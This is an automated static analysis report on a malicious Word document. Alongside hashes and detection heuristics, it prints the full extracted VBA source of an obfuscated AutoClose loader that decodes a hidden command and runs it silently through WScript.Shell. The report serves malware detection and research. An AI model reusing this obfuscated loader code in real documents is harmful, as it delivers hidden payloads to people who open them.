Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f323778fbfaca654…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-10
MD5: f143d252ab3c1ee86aee33f3e1eb2f8b SHA-1: 20cb638150ee953c13a391cbb6f1f0045b82b651 SHA-256: f323778fbfaca654f6b91124c60d81bc3fba360ff96d30f0253293760ae504a0
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing obfuscated VBA macros. The AutoClose macro is present and uses a custom decoder function to reconstruct a string, which is then passed to Application.Run. This indicates the macro is designed to execute a secondary payload upon opening or closing the document, likely for malicious purposes.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If oxybutyria - murrelet > 1 Then
       CreateObject(Trim(ayous) & ".Shell").Run unextorted, 0
       earthwards = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "upturns", avowedly
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If oxybutyria - murrelet > 1 Then
       CreateObject(Trim(ayous) & ".Shell").Run unextorted, 0
       earthwards = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  siennas = Array("L", "1", "r", "h", "z", "x", "O", "H", "O", "5", "r", "h", "h", "D", "v", "Z", "Z", "D", "9", "h", "9", "L", "n", "K", "r", "h", "9", "1", "U", "z", "6", "n", "1", "a", "z", "6", "z", "Q", "O", "k", "x", "K", "9", "L", "Z", "w", "F", "8", "Z", "Q", "M", "L", "z", "x", "D", "r", "D", "d", "n", "h", "L", "z", "m", "u", "O", "U", "1", "n", "1", "a")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2088 bytes
SHA-256: 23f88efd05b82a7e0fba9445b19373ae4f013d90f74a847b769899e84570e576
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function vestigial(siennas)
  gypsy = Array("8", "Z", "n", "k", "9", "a", "5", "F", "v", "1", "r", "w", "K", "Q", "z", "h", "d", "u", "D", "6", "x", "L", "O", "H", "m", "M", "U")
  dekko = Array("K", "/", "u", "b", "o", "k", " ", "F", ":", "s", "h", "A", "c", "l", "a", "t", "?", "v", "p", "z", ".", "m", "e", "x", "=", "i", "r")
  
  carkled = vbNullString
  
  For Each unital In siennas
    fritillaries = palomino(unital, gypsy, UBound(gypsy))
    If fritillaries > -1 Then
    carkled = dekko(fritillaries) & carkled
    End If
  Next
  
  vestigial = StrReverse(carkled)
  
End Function

Public Function palomino(tyrant, psychomotor, cheerfulness)
  overtest = 5553
  azoxyphenetole = 772
  For overtest = 0 To cheerfulness
    If psychomotor(overtest) = tyrant And overtest > -1 Then
     azoxyphenetole = overtest
    End If
  Next

  If azoxyphenetole = 772 Then
    azoxyphenetole = -1
  End If
  
  palomino = azoxyphenetole
End Function

Sub AutoClose()
  siennas = Array("L", "1", "r", "h", "z", "x", "O", "H", "O", "5", "r", "h", "h", "D", "v", "Z", "Z", "D", "9", "h", "9", "L", "n", "K", "r", "h", "9", "1", "U", "z", "6", "n", "1", "a", "z", "6", "z", "Q", "O", "k", "x", "K", "9", "L", "Z", "w", "F", "8", "Z", "Q", "M", "L", "z", "x", "D", "r", "D", "d", "n", "h", "L", "z", "m", "u", "O", "U", "1", "n", "1", "a")
  avowedly = vestigial(siennas)
  
  Application.Run "upturns", avowedly
  
End Sub


Private Sub upturns(unextorted)
   
   ayous = "WScript"
   murrelet = 3271
   earthwards = True
   
   While earthwards
     oxybutyria = murrelet + 60
     If oxybutyria - murrelet > 1 Then
       CreateObject(Trim(ayous) & ".Shell").Run unextorted, 0
       earthwards = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 27d5efd4d8bd02f42d35b2bd7df4270f68cc7e049ce490ad6da2576f909bc86e
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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